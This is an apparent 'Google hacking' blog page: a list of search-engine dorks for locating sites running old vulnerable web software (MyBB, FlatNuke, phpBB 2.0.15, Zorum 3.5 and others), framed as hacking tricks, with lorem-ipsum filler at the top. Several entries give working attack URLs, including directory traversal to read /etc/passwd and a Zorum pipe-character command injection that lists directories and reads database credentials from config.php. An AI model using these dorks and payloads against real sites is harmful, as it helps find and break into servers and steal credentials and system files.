Google Hacking

GOOGLE HACKING TRICKS, LEARN SECRETS OF HACKING

  • Vestibulum quis diam velit, vitae euismod ipsum

    Etiam tincidunt lobortis massa et tincidunt. Vivamus commodo feugiat turpis, in pulvinar felis elementum vel. Vivamus mollis tempus odio, ac imperdiet enim adipiscing non. Nunc iaculis sapien at felis posuere at posuere massa pellentesque. Suspendisse a viverra tellus. Nam ut arcu et leo rutrum porttitor. Integer ut nulla eu magna adipiscing ornare. Vestibulum quis diam velit, vitae euismod ipsum? Quisque ...

  • Aliquam vel dolor vitae dui tempor sollicitudin

    Proin ac leo eget nibh interdum egestas? Aliquam vel dolor vitae dui tempor sollicitudin! Integer sollicitudin, justo non posuere condimentum, mauris libero imperdiet urna, a porttitor metus lorem ac arcu. Curabitur sem nulla, rutrum ut elementum at, malesuada quis nisl. Suspendisse potenti. In rhoncus ipsum convallis mauris adipiscing aliquam. Etiam quis dolor sed orci vestibulum venenatis auctor non ligula. Nulla ...

  • Nam ullamcorper iaculis erat eget suscipit.

    Etiam ultrices felis sed ante tincidunt pharetra. Morbi sit amet orci at lorem tincidunt viverra. Donec varius posuere leo et iaculis. Pellentesque ultricies, ante at dignissim rutrum, nisi enim tempor leo, id iaculis sapien risus quis neque. Ut sed mauris sit amet eros tincidunt adipiscing eu vitae lectus. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos ...

Output Index Script

+intext:”powered by MyBulletinBoard”

MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. There is an SQL Injection Exploit available for MyBulletinBoard (MyBB) <= 1.00 RC4 Related advisory: Patch: http://www.mybboard.com/community/showthread.php?tid=2559 http://fain182.badroot.org http://www.codebug.org Discovered by Alberto Trivero and coded with FAiN182 More Details: http://www.milw0rm.com/id.php?id=1022


Google Search: +intext:”powered by MyBulletinBoard”

0 comments

intext:”Powered by flatnuke-2.5.3″ +”Get RSS News” -demo

Description of Vulnerabilities Multiple vulnerabilities in FlatNuke have been reported, which can be exploited by remote users to trigger denial of service conditions, execute arbitrary PHP code, conduct Cross-Site Scripting attacks and disclose arbitrary images and system information. If the “/flatnuke/foot_news.php” script is accessed directly a while() call is made that enters an infinite loop, leading to full CPU utilisation. [..] User-supplied input passed to the “image” parameter in the “thumb.php” script is not correctly validated. This can be exploited to disclose arbitrary images from external and local resources via directory traversal attacks, or to disclose the installation path. It is also possible to disclose the system path by accessing certain scripts directly or specially formed parameters.

0 comments

inurl:”/login.asp?folder=” “Powered by: i-Gallery 3.3″

i-Gallery 3.3 (and possibly older) is vulnerable to many things, including /../ traversals. http://www.packetstormsecurity.org/0506-exploits/igallery33.txt

Google Search: inurl:”/login.asp?folder=” “Powered by: i-Gallery 3.3″

0 comments

“powered by PhpBB 2.0.15″ -site:phpbb.com

Another php vulnerabilty, as seen here http://www.frsirt.com/exploits/20050704.phpbbSecureD.pl.php phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability This exploit gives the user all the details about the database connection such as database host, username, password and database name.


Google Search: “powered by PhpBB 2.0.15″ -site:phpbb.com

1 comments

intitle:”blog torrent upload”

Blog Torrent is free, open-source software that provides a way to share large files on your website. vulnerability: free access to the password file http://[target]/[path_of_blog]/data/newusers advisory: http://www.securitytracker.com/alerts/2005/Jul/1014449.html All current versions could be vulnerable depending on directory permissions.

Google Search : intitle:”blog torrent upload”

0 comments

inurl:index.php fees shop link.codes merchantAccount

Vulnerability in EPay systems PHP code including http://targeturl/index.php?read=../../../../../../../../../../../../../../etc/passwd advisory: http://www.cyberlords.net/advisories/cl_epay.txt EPay Pro version 2.0 is vulnerable to this issue.

0 comments

“Powered by Zorum 3.5″

Zorum 3.5 remote code execution poc exploit software: description: Zorum is a freely available, open source Web-based forum application implemented in PHP. It is available for UNIX, Linux, and any other platform that supports PHP script execution. author site: http://zorum.phpoutsourcing.com/ 1) remote code execution: vulnerable code, in /gorum/prod.php file: 07 $doubleApp = isset($argv[1]); … 14 if( $doubleApp ) 15 { 16 $appDir = $argv[1]; 17 system(”mkdir $prodDir/$appDir”); … a user can execute arbitrary commands using pipe char, example: http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-la to list directories http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.php to see database username/password… http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwd to see /etc/passwd file 2) path disclosure: http://[target]/zorum/gorum/notification.php http://[target]/zorum/user.php http://[target]/zorum/attach.php http://[target]/zorum/blacklist.php http://[target]/zorum/forum.php http://[target]/zorum/globalstat.php http://[target]/zorum/gorum/trace.php http://[target]/zorum/gorum/badwords.php http://[target]/zorum/gorum/flood.php and so on… googledork: “Powered by Zorum 3.5″ rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/zorum.html

0 comments